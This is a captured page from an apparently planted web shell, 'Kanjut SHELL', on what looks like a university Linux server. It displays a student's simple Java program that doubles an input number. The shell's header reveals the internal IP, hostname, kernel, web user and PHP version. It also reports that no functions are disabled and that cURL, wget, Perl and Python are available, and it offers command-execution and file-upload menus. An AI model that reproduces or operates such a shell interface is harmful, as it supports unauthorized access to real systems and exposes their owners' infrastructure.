Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.219.231.197
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zwang/cs202/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zwang/cs202/Convert1.java
//
//		File: Convert1.java
//		....
//
//		The code will read a number, and display its double

import javax.swing.*;

class Convert1
{
	public static void main(String[] args)
	{
		// declare var.
		String temp;
		int num;
		boolean go = true;

		// use a loop
		while(go)
		{
			// read a String type
			temp = JOptionPane.showInputDialog("Input a number: "); //	"12"

			// convert the string to int (p.110)
			num = Integer.parseInt(temp);

			// compute & out
			JOptionPane.showMessageDialog(null, "Its double is " + 2*num);

			temp = JOptionPane.showInputDialog("Want to quit (y/n): ");
			temp = temp.toLowerCase();	// "Y" --> "y"
			if( temp.equals("y"))
				go = false;
		}

		// exit GUI from the program
		System.exit(0);

	}
}

Stv3n404 - 2023